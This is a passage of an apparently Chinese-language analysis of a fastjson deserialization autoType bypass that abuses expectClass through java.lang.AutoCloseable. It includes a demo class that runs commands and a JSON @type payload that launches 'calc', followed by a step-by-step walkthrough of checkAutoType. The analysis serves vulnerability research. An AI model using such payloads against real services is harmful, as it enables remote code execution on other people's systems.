Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}
1
2
3
4
5
6
7
8
9
10
11
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) throws Exception{
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"demo.VulAutoCloseable\",\"cmd\":\"calc\"}");
}
}

漏洞分析

com.alibaba.fastjson.parser#checkAutoType

第一个类java.lang.AutoCloseable,直接从mapping中获取

image-20211029163317737

然后回到 com.alibaba.fastjson.parser#parseObject,调用JavaBeanDeserializer的deserialze

image-20211029163601231

这里主要逻辑就读取第二个@type对应的类名,这里找不到对应的deserializer,会二次进入checkAutoType函数

image-20211029163731484

这里expectclass参数为java.lang.AutoCloseable

image-20211029163926567

expectClass不为null,且不为下面几种class,expectClassFlag被设置为true

image-20211029164050636

expectClassFlag为true,这里不受autotype影响,直接loadClass

image-20211029164316066

最后会检测clazz是否为expectClass的子类或者实现了其接口,所以恶意类要求实现AutoCloseable接口

image-20211029164657186

需要找实现AutoCloseable接口的类,IntputStream和OutputStream都是实现自AutoCloseable接口的,再找继承他们的类,同时需要调用其恶意的set或者get方法

实际利用有限,可以复制,写入文件。写入文件也有限制,不能写入特殊字符,比如不能写入PHP代码,POC可参考这里

参考链接